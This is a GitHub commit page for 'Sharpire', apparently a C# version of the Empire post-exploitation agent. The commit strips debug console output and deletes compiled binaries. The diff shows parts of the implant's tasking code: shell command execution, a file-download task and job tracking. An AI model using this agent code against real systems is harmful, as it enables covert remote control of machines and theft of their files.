Skip to content

Commit

Permalink
Removing unnecessary files + cleanump
Browse files Browse the repository at this point in the history
  • Loading branch information
Alexander authored and Alexander committed Mar 12, 2019
1 parent 9b7ebd2 commit aa0bdba
Show file tree
Hide file tree
Showing 7 changed files with 4 additions and 16 deletions.
6 changes: 3 additions & 3 deletions Empire.Agent.Coms.cs
Original file line number Diff line number Diff line change
Expand Up @@ -219,12 +219,11 @@ private void processTaskingPackets(byte[] encryptedTask)
////////////////////////////////////////////////////////////////////////////////
private byte[] processTasking(PACKET packet)
{
byte[] returnPacket = new byte[0];
Byte[] returnPacket = new Byte[0];
try
{
//Change this to a switch : case
Int32 type = packet.type;
Console.WriteLine("Type: {0}", type);
switch (type)
{
case 1:
Expand All @@ -244,7 +243,6 @@ private byte[] processTasking(PACKET packet)
output = Agent.InvokeShellCommand(parts.FirstOrDefault(), "");
else
output = Agent.InvokeShellCommand(parts.FirstOrDefault(), String.Join(" ",parts.Skip(1).Take(parts.Length - 1).ToArray()));

Byte[] packetBytes = encodePacket(packet.type, output, packet.taskId);
return packetBytes;
case 41:
Expand Down Expand Up @@ -355,6 +353,8 @@ internal static byte[] newInitializationVector(Int32 length)
return initializationVector;
}

////////////////////////////////////////////////////////////////////////////////
// Download File from Agent
////////////////////////////////////////////////////////////////////////////////
public Byte[] Task41(PACKET packet)
{
Expand Down
8 changes: 1 addition & 7 deletions Empire.Agent.Jobs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,6 @@ public JobTracking()
////////////////////////////////////////////////////////////////////////////////
internal void CheckAgentJobs(ref Byte[] packets, ref Coms coms)
{
Console.WriteLine("checkAgentJobs");
lock (jobs)
{
List<String> jobsToRemove = new List<String>();
Expand Down Expand Up @@ -58,23 +57,20 @@ internal void CheckAgentJobs(ref Byte[] packets, ref Coms coms)
internal Byte[] GetAgentJobsOutput(ref Coms coms)
{
Byte[] jobResults = new Byte[0];
Console.WriteLine("getAgentJobsOutput");
lock (jobs)
{
List<String> jobsToRemove = new List<String>();
foreach (String jobName in jobs.Keys)
{
Console.WriteLine(jobName);
String results = "";
if (jobs[jobName].IsCompleted())
{
try
{
results = jobs[jobName].GetOutput();
Console.WriteLine(results);
jobs[jobName].KillThread();
}
catch (NullReferenceException ex) { Console.WriteLine(ex); }
catch (NullReferenceException) { }
jobsToRemove.Add(jobName);
}
else
Expand Down Expand Up @@ -192,10 +188,8 @@ public Boolean IsCompleted()
{
if (true == isFinished)
{
Console.WriteLine("Finished");
return true;
}
Console.WriteLine("Not Finished");
return false;
}
else
Expand Down
Binary file removed bin/Debug/System.Management.Automation.dll
Binary file not shown.
Binary file not shown.
6 changes: 0 additions & 6 deletions obj/Debug/Sharpire.csproj.FileListAbsolute.txt

This file was deleted.

Binary file removed obj/Debug/Sharpire.exe
Binary file not shown.
Binary file removed obj/Debug/Sharpire.pdb
Binary file not shown.

0 comments on commit aa0bdba

Please sign in to comment.